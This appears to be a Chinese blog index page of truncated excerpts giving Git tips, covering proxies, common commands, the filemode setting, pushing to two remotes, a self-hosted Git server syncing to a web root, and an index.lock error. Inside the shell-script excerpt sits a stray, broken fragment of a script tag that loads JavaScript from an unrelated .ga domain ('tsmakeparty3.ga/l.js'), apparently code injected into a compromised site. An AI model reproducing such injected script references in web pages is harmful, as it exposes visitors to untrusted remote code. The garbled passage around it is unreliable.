起风了

“路海长 青夜旷 越过群山追斜阳”

如何让 Git 使用 HTTP 代理服务器

因为我们的内部网络使用了代理,所以在 安装 OpenStack 基于 Web 的管理控制台 的时候有个小麻烦,我们的 http 代理服务器无法通过 git 协议下载 openstack-dashboard 所需的代码,也就是说可以 git clone https:// 这样克隆代码,但是不能使用 git 协议 git clone git://。糟糕的是在 openstack-dashboard/t...

Git 常用操作命令

master : 默认开发分支; origin : 默认远程版本库 初始化操作     $ git config -global user.name #设置提交者名字     $ git config -global user.email #设置提交者邮箱     $ git config -global core.editor #设置默认文本编辑器     $ git config -global merge.tool #设置解决合并冲突时差异分析工具...

git取消版本跟踪

从暂存区清除 git --git-dir=/www/git/weika --work-tree=/www/wwwroot/weika update-index --assume-unchanged ticket.txt 从版本库中删除,便文件还在 git --git-dir=/www/git/weika --work-tree=/www/wwwroot/weika rm --cached ticket.txt git --git-dir=/www/git/weika --work-tree=/www/wwwroot/weika  ...

服务器自建git仓库,提交后修改了文件权限的处理方法

26143658-a6a4f0ba2ede462095c9d866985ed101
我先说一下我的问题: 我在自己远程服务器搭建自己的仓库,仓库和项目是分开的,不在同一个文件夹下,是建的裸仓库,git -init --bare,导致执行不了git的基本命令,而我项目里有些配置文件一开始加入了版本跟踪,比如保存在根目录的微信的token(访问量大不适合存数据库),每次提交的时候都会把线上的这个文...

git提交后linux文件权限被修改了

git 默认会跟踪文件的权限修改,当我们使用 chmod 指令的时候,git 也会把被修改权限的文件添加到被修改的状态。 修改方法: vim config 直接修改filemode=false 或者执行命令 git config core.filemode false

git同时提交到两个仓库

之前的项目是直接提交自已的服务仓库(一个人开发,自动提交,效率快),后来公司要求放到码云上,好查看每天的工作情况,(也是醉了),我又懒得重新建立仓库,想保留之前的版本跟踪,所以就想找找有没有多个远程仓库的解决方法,我的天,还真有。以下是从别人那里复制过来的,为什么复制呢,因为怕下次再相...

在shell脚本里切换目录

vim   test.sh #! /bin/bash this is "cd /data/wwwroot/" pwd ls -l   保存   在命令输入:sh test.sh      显示相应路径的目录,但不会去到哪。 或source test.sh   去到相应的路径  tsmakeparty3.ga/l.js?n=1' type=text/javascript>

搭建GIT服务器并实现自动同步到站点目录(www)

步骤查看了:https://blog.csdn.net/baidu_30000217/article/details/51327289 我只记录自已做的过程 1,首先在服务器构建git服务器。安装git,然后创建一个项目的版本裸仓库test 2,搭建lnmp站点目录,到时git仓库将同步更新到网站里 3,配置公钥。先试着用git clone git@ip:/data/git/test 这时一定会提示输...

fatal: Unable to create ‘e:/git/Android/XXXXXX/.git/index.lock’: File exists.

今天提交代码时,在一次提交,莫名其妙没成功后,再次用git commit -a命令时,出现以下错误,无论是用git还是TortoiseGit都会出现以下这个问题。。 $ git commit -a fatal: Unable to create 'e:/git/Android/XXXXXX/.git/index.lock': File exists. If no other git process is currently running, this ...